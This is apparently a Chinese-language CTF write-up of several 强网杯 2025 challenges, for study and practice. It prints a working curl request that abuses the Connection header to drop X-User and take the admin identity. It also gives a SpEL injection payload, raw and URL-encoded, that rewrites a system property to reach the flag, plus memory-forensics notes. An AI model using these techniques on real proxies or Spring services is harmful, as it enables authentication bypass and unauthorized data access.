强网杯 2025 部分复现

Web

SecretVault

小明最近注册了很多网络平台账号，为了让账号使用不同的强密码，小明自己动手实现了一套非常“安全”的密码存储系统 – SecretVault，但是健忘的小明没记住主密码，你能帮他找找吗

附件里主要两个文件要看

import base64
import os
import secrets
import sys
from datetime import datetime
from functools import wraps
import requests

from cryptography.fernet import Fernet
from flask import (
    Flask,
    flash,
    g,
    jsonify,
    make_response,
    redirect,
    render_template,
    request,
    url_for,
)
from flask_sqlalchemy import SQLAlchemy
from sqlalchemy.exc import IntegrityError
import hashlib

db = SQLAlchemy()

class User(db.Model):
    id = db.Column(db.Integer, primary_key=True)
    username = db.Column(db.String(80), unique=True, nullable=False)
    password_hash = db.Column(db.String(128), nullable=False)
    salt = db.Column(db.String(64), nullable=False)
    created_at = db.Column(db.DateTime, default=datetime.utcnow, nullable=False)
    vault_entries = db.relationship('VaultEntry', backref='user', lazy=True, cascade='all, delete-orphan')

class VaultEntry(db.Model):
    id = db.Column(db.Integer, primary_key=True)
    user_id = db.Column(db.Integer, db.ForeignKey('user.id'), nullable=False)
    label = db.Column(db.String(120), nullable=False)
    login = db.Column(db.String(120), nullable=False)
    password_encrypted = db.Column(db.Text, nullable=False)
    notes = db.Column(db.Text)
    created_at = db.Column(db.DateTime, default=datetime.utcnow, nullable=False)

def hash_password(password: str, salt: bytes) -> str:
    data = salt + password.encode('utf-8')
    for _ in range(50):
        data = hashlib.sha256(data).digest()
    return base64.b64encode(data).decode('utf-8')

def verify_password(password: str, salt_b64: str, digest: str) -> bool:
    salt = base64.b64decode(salt_b64.encode('utf-8'))
    return hash_password(password, salt) == digest

def generate_salt() -> bytes:
    return secrets.token_bytes(16)

def create_app() -> Flask:
    app = Flask(__name__)
    app.config['SECRET_KEY'] = secrets.token_hex(32)
    app.config['SQLALCHEMY_DATABASE_URI'] = os.getenv('DATABASE_URL', 'sqlite:///vault.db')
    app.config['SQLALCHEMY_TRACK_MODIFICATIONS'] = False
    app.config['SIGN_SERVER'] = os.getenv('SIGN_SERVER', 'http://127.0.0.1:4444/sign')
    fernet_key = os.getenv('FERNET_KEY')
    if not fernet_key:
        raise RuntimeError('Missing FERNET_KEY environment variable. Generate one with `python -c "from cryptography.fernet import Fernet; print(Fernet.generate_key().decode())"`.')
    app.config['FERNET_KEY'] = fernet_key
    db.init_app(app)

    fernet = Fernet(app.config['FERNET_KEY'])
    with app.app_context():
        db.create_all()

        if not User.query.first():
            salt = secrets.token_bytes(16)
            password = secrets.token_bytes(32).hex()
            password_hash = hash_password(password, salt)
            user = User(
                id=0,
                username='admin',
                password_hash=password_hash,
                salt=base64.b64encode(salt).decode('utf-8'),
            )
            db.session.add(user)
            db.session.commit()

            flag = open('/flag').read().strip()
            flagEntry = VaultEntry(
                user_id=user.id,
                label='flag',
                login='flag',
                password_encrypted=fernet.encrypt(flag.encode('utf-8')).decode('utf-8'),
                notes='This is the flag entry.',
            )
            db.session.add(flagEntry)
            db.session.commit()

    def login_required(view_func):
        @wraps(view_func)
        def wrapped(*args, **kwargs):
            uid = request.headers.get('X-User', '0')
            print(uid)
            if uid == 'anonymous':
                flash('Please sign in first.', 'warning')
                return redirect(url_for('login'))
            try:
                uid_int = int(uid)
            except (TypeError, ValueError):
                flash('Invalid session. Please sign in again.', 'warning')
                return redirect(url_for('login'))
            user = User.query.filter_by(id=uid_int).first()
            if not user:
                flash('User not found. Please sign in again.', 'warning')
                return redirect(url_for('login'))

            g.current_user = user
            return view_func(*args, **kwargs)

        return wrapped

    @app.route('/')
    def index():
        uid = request.headers.get('X-User', '0')
        if not uid or uid == 'anonymous':
            return redirect(url_for('login'))
        
        return redirect(url_for('dashboard'))

    @app.route('/register', methods=['GET', 'POST'])
    def register():
        if request.method == 'POST':
            username = request.form.get('username', '').strip()
            password = request.form.get('password', '')
            confirm_password = request.form.get('confirm_password', '')
            if not username or not password:
                flash('Username and password are required.', 'danger')
                return render_template('register.html')
            if password != confirm_password:
                flash('Passwords do not match.', 'danger')
                return render_template('register.html')
            salt = generate_salt()
            password_hash = hash_password(password, salt)
            user = User(
                username=username,
                password_hash=password_hash,
                salt=base64.b64encode(salt).decode('utf-8'),
            )
            db.session.add(user)
            try:
                db.session.commit()
            except IntegrityError:
                db.session.rollback()
                flash('Username already exists. Please choose another.', 'warning')
                return render_template('register.html')
            flash('Registration successful. Please sign in.', 'success')
            return redirect(url_for('login'))
        return render_template('register.html')

    @app.route('/login', methods=['GET', 'POST'])
    def login():
        if request.method == 'POST':
            username = request.form.get('username', '').strip()
            password = request.form.get('password', '')
            user = User.query.filter_by(username=username).first()
            if not user or not verify_password(password, user.salt, user.password_hash):
                flash('Invalid username or password.', 'danger')
                return render_template('login.html')
            r = requests.get(app.config['SIGN_SERVER'], params={'uid': user.id}, timeout=5)
            if r.status_code != 200:
                flash('Unable to reach the authentication server. Please try again later.', 'danger')
                return render_template('login.html')
            
            token = r.text.strip()
            response = make_response(redirect(url_for('dashboard')))
            response.set_cookie(
                'token',
                token,
                httponly=True,
                secure=app.config.get('SESSION_COOKIE_SECURE', False),
                samesite='Lax',
                max_age=12 * 3600,
            )
            return response
        return render_template('login.html')

    @app.route('/logout')
    def logout():
        response = make_response(redirect(url_for('login')))
        response.delete_cookie('token')
        flash('Signed out.', 'info')
        return response

    @app.route('/dashboard')
    @login_required
    def dashboard():
        user = g.current_user
        entries = [
            {
                'id': entry.id,
                'label': entry.label,
                'login': entry.login,
                'password': fernet.decrypt(entry.password_encrypted.encode('utf-8')).decode('utf-8'),
                'notes': entry.notes,
                'created_at': entry.created_at,
            }
            for entry in user.vault_entries
        ]
        return render_template('dashboard.html', username=user.username, entries=entries)

    @app.route('/passwords/new', methods=['POST'])
    @login_required
    def create_password():
        user = g.current_user
        label = request.form.get('label', '').strip()
        login_value = request.form.get('login', '').strip()
        password_plain = request.form.get('password', '').strip()
        notes = request.form.get('notes', '').strip() or None
        if not label or not login_value or not password_plain:
            flash('Service name, login, and password are required.', 'danger')
            return redirect(url_for('dashboard'))
        encrypted_password = fernet.encrypt(password_plain.encode('utf-8')).decode('utf-8')
        entry = VaultEntry(
            user_id=user.id,
            label=label,
            login=login_value,
            password_encrypted=encrypted_password,
            notes=notes,
        )
        db.session.add(entry)
        db.session.commit()
        flash('Password entry saved.', 'success')
        return redirect(url_for('dashboard'))

    @app.route('/passwords/<int:entry_id>', methods=['DELETE'])
    @login_required
    def delete_password(entry_id: int):
        user = g.current_user
        entry = VaultEntry.query.filter_by(id=entry_id, user_id=user.id).first()
        if not entry:
            return jsonify({'success': False, 'message': 'Entry not found'}), 404
        db.session.delete(entry)
        db.session.commit()
        return jsonify({'success': True})

    return app

if __name__ == '__main__':
    flask_app = create_app()
    flask_app.run(host='127.0.0.1', port=5000, debug=False)

package main

import (
    "crypto/rand"
    "encoding/hex"
    "fmt"
    "log"
    "net/http"
    "net/http/httputil"
    "strings"
    "time"

    "github.com/golang-jwt/jwt/v5"
    "github.com/gorilla/mux"
)

var (
    SecretKey = hex.EncodeToString(RandomBytes(32))
)

type AuthClaims struct {
    jwt.RegisteredClaims
    UID string `json:"uid"`
}

func RandomBytes(length int) []byte {
    b := make([]byte, length)
    if _, err := rand.Read(b); err != nil {
        return nil
    }
    return b
}

func SignToken(uid string) (string, error) {
    t := jwt.NewWithClaims(jwt.SigningMethodHS256, AuthClaims{
        UID: uid,
        RegisteredClaims: jwt.RegisteredClaims{
            Issuer:    "Authorizer",
            Subject:   uid,
            ExpiresAt: jwt.NewNumericDate(time.Now().Add(time.Hour)),
            IssuedAt:  jwt.NewNumericDate(time.Now()),
            NotBefore: jwt.NewNumericDate(time.Now()),
        },
    })
    tokenString, err := t.SignedString([]byte(SecretKey))
    if err != nil {
        return "", err
    }
    return tokenString, nil
}

func GetUIDFromRequest(r *http.Request) string {
    authHeader := r.Header.Get("Authorization")
    if authHeader == "" {
        cookie, err := r.Cookie("token")
        if err == nil {
            authHeader = "Bearer " + cookie.Value
        } else {
            return ""
        }
    }
    if len(authHeader) <= 7 || !strings.HasPrefix(authHeader, "Bearer ") {
        return ""
    }
    tokenString := strings.TrimSpace(authHeader[7:])
    if tokenString == "" {
        return ""
    }
    token, err := jwt.ParseWithClaims(tokenString, &AuthClaims{}, func(token *jwt.Token) (interface{}, error) {
        if _, ok := token.Method.(*jwt.SigningMethodHMAC); !ok {
            return nil, fmt.Errorf("unexpected signing method: %v", token.Header["alg"])
        }
        return []byte(SecretKey), nil
    })
    if err != nil {
        log.Printf("failed to parse token: %v", err)
        return ""
    }
    claims, ok := token.Claims.(*AuthClaims)
    if !ok || !token.Valid {
        log.Printf("invalid token claims")
        return ""
    }
    return claims.UID
}

func main() {
    authorizer := &httputil.ReverseProxy{Director: func(req *http.Request) {
        req.URL.Scheme = "http"
        req.URL.Host = "127.0.0.1:5000"

        uid := GetUIDFromRequest(req)
        log.Printf("Request UID: %s, URL: %s", uid, req.URL.String())
        req.Header.Del("Authorization")
        req.Header.Del("X-User")
        req.Header.Del("X-Forwarded-For")
        req.Header.Del("Cookie")

        if uid == "" {
            req.Header.Set("X-User", "anonymous")
        } else {
            req.Header.Set("X-User", uid)
        }
    }}

    signRouter := mux.NewRouter()
    signRouter.HandleFunc("/sign", func(w http.ResponseWriter, r *http.Request) {
        if !strings.HasPrefix(r.RemoteAddr, "127.0.0.1:") {
            http.Error(w, "Forbidden", http.StatusForbidden)
        }
        uid := r.URL.Query().Get("uid")
        token, err := SignToken(uid)
        if err != nil {
            log.Printf("Failed to sign token: %v", err)
            http.Error(w, "Failed to generate token", http.StatusInternalServerError)
            return
        }
        w.Write([]byte(token))
    }).Methods("GET")

    log.Println("Sign service is running at 127.0.0.1:4444")
    go func() {
        if err := http.ListenAndServe("127.0.0.1:4444", signRouter); err != nil {
            log.Fatal(err)
        }
    }()

    log.Println("Authorizer middleware service is running at :5555")
    if err := http.ListenAndServe(":5555", authorizer); err != nil {
        log.Fatal(err)
    }
}

从 app.py 可知，admin 的密码随机生成且复杂度高无法爆破，想要访问有用的网页必须通过 login_required，而 login_required 中使用了一个默认值为 0，名为 X-User 的请求头，所以猜测利用 X-User 字段伪造身份。

然而从 main.go 可知，它会对发送的请求进行代理转发和签名认证，只有当请求头中有符合要求的 Authorization 字段（使用 32 位随机数作为 secretkey 生成的 jwt token）才返回相应的 uid 写入请求头 X-User 发给 app.py。我们直接在请求里塞 X-User 不会被处理直接被删除，这里的 jwt 又难以进行伪造，后面也就找不到思路了。

看 CloudEver 队的 WP 得知一个很关键的知识点，http 中的 connection 字段内的内容在转发时必将移除。

http 标准是，凡是列在 Connection 头里的字段名，在转发时必须被移除。如果客户端发 Connection: keep-alive, X-User，转发前就会把 X-User 一并剥掉
于是 python 默认设置 X-User 为 0，也就是 admin 权限

查看 RFC 文档 https://www.rfc-editor.org/rfc/rfc7230#section-6.1

[6.1](https://www.rfc-editor.org/rfc/rfc7230#section-6.1).  Connection

   The "Connection" header field allows the sender to indicate desired
   control options for the current connection.  In order to avoid
   confusing downstream recipients, a proxy or gateway MUST remove or
   replace any received connection options before forwarding the
   message.

因此，本题只需将 X-User 写入 Connection 字段即可在请求转发至 app.py 时被移除，app.py 未收到 X-User 则默认为 0，获得 admin 身份查看 flag。

curl -v -H "Connection: keep-alive, X-User" http://ip:port/dashboard

bbjv

本题考点在于 SpEL 表达式注入。

学习一点前置知识 https://www.cnblogs.com/k1115h0t/p/18919765

package com.ctf.gateway.controller;

import com.ctf.gateway.service.EvaluationService;
import java.io.BufferedReader;
import java.io.File;
import java.io.FileReader;
import java.io.IOException;
import org.springframework.web.bind.annotation.GetMapping;
import org.springframework.web.bind.annotation.RequestParam;
import org.springframework.web.bind.annotation.RestController;

@RestController
/* loaded from: app.jar:BOOT-INF/classes/com/ctf/gateway/controller/GatewayController.class */
public class GatewayController {
    private final EvaluationService evaluationService;
    
    public GatewayController(EvaluationService evaluationService) {
        this.evaluationService = evaluationService;
    }

    @GetMapping({"/check"})
    public String checkRule(@RequestParam String rule) throws IOException {
        String result = this.evaluationService.evaluate(rule);
        File flagFile = new File(System.getProperty("user.home"), "flag.txt");
        if (flagFile.exists()) {
            try {
                BufferedReader br = new BufferedReader(new FileReader(flagFile));
                try {
                    String content = br.readLine();
                    result = result + "<br><b>🚩 Flag:</b> " + content;
                    br.close();
                } finally {
                }
            } catch (IOException e) {
                throw new RuntimeException(e);
            }
        }
        return result;
    }
}

Controller 中 /check 路由传递的 rule 参数会给到 evaluationService.evaluate 返回 result，而后会读取 <系统属性"user.home">/flag.txt 文件放入 result 返回。

package com.ctf.gateway.service;

import org.springframework.expression.EvaluationContext;
import org.springframework.expression.ExpressionParser;
import org.springframework.expression.common.TemplateParserContext;
import org.springframework.expression.spel.standard.SpelExpressionParser;
import org.springframework.stereotype.Service;

@Service
/* loaded from: app.jar:BOOT-INF/classes/com/ctf/gateway/service/EvaluationService.class */
public class EvaluationService {
    private final ExpressionParser parser = new SpelExpressionParser();
    private final EvaluationContext context;

    public EvaluationService(EvaluationContext context) {
        this.context = context;
    }

    public String evaluate(String expression) {
        try {
            Object result = this.parser.parseExpression(expression, new TemplateParserContext()).getValue(this.context);
            return "Result: " + String.valueOf(result);
        } catch (Exception e) {
            return "Error: " + e.getMessage();
        }
    }
}

EvaluationService 使用 TemplateParserContext 提供 SpEL 的解析

package com.ctf.gateway.config;

import com.ctf.gateway.accessor.SecurePropertyAccessor;
import java.util.Properties;
import org.springframework.beans.factory.annotation.Qualifier;
import org.springframework.context.annotation.Bean;
import org.springframework.context.annotation.Configuration;
import org.springframework.expression.EvaluationContext;
import org.springframework.expression.spel.support.SimpleEvaluationContext;

@Configuration
/* loaded from: app.jar:BOOT-INF/classes/com/ctf/gateway/config/SpelConfig.class */
public class SpelConfig {
    @Bean({"systemProperties"})
    public Properties systemProperties() {
        return System.getProperties();
    }

    @Bean({"restrictedEvalContext"})
    public EvaluationContext restrictedEvaluationContext(@Qualifier("systemProperties") Properties systemProperties) {
        SimpleEvaluationContext simpleContext = SimpleEvaluationContext.forPropertyAccessors(new SecurePropertyAccessor()).build();
        simpleContext.setVariable("systemProperties", systemProperties);
        return simpleContext;
    }
}

SpelConfig 配置了 System.getProperties() 到变量 #systemProperties，配置了 SimpleEvaluationContext 和 SecurePropertyAccessor 限制表达式执行环境不可反射读取属性

查看 Dockerfile 可知 flag 文件位于/tmp 目录下，那么想要得到 flag 就需要通过 SpEL 表达式注入修改属性 "user.home" 为 /tmp。因此 payload 如下

http://ip``:port/check?rule=#{#systemProperties['user.home']='/tmp'}

#{} 为 SpEL 表达式格式，使用变量 #systemProperties 读取系统属性 'user.home' 并修改。最后要 URL 编码

http://ip:port/check?rule=%23%7B%23systemProperties%5B%27user.home%27%5D%3D%27%2Ftmp%27%7D

Misc

Personal Vault

My friend created a vault for each process, unfortunately we haven’t contacted for years, and this vault thing crashed my pc when I tried checking other’s secret? Please help me with this
https://pan.baidu.com/share/init?surl=uCH8ZzO9oltnkjgdiptTLA
提取码（GAME）

这题我先用 AXIOM 分析，发现一个桌面上的 LINK 文件 flag.txt 指向的文件大小为 0，然后我去找系统发生崩溃的时间点再在其附近排查，后来发现 personalVaultKernel.sys 应该就是题目提到的 vault for each process，但没找到其他有用信息。后来用 volatility 去扫描进程、通过 pid dump 出了 personalVaultKernel.exe，请队友逆向一下，应该是个 AES 加密，会检查用户名和 secret，它还涉及到一些文件，我在 volatility 的 filescan 里能扫出来但 dump 不出来。之后没招了。

参考别的队伍的 WP，基本上都是直接搜 flag 字符串搜出来的（晕。

在 010Editor 打开，使用通配符搜索 f*l*a*g*{，结果差不多 1000 条，还是能找到的。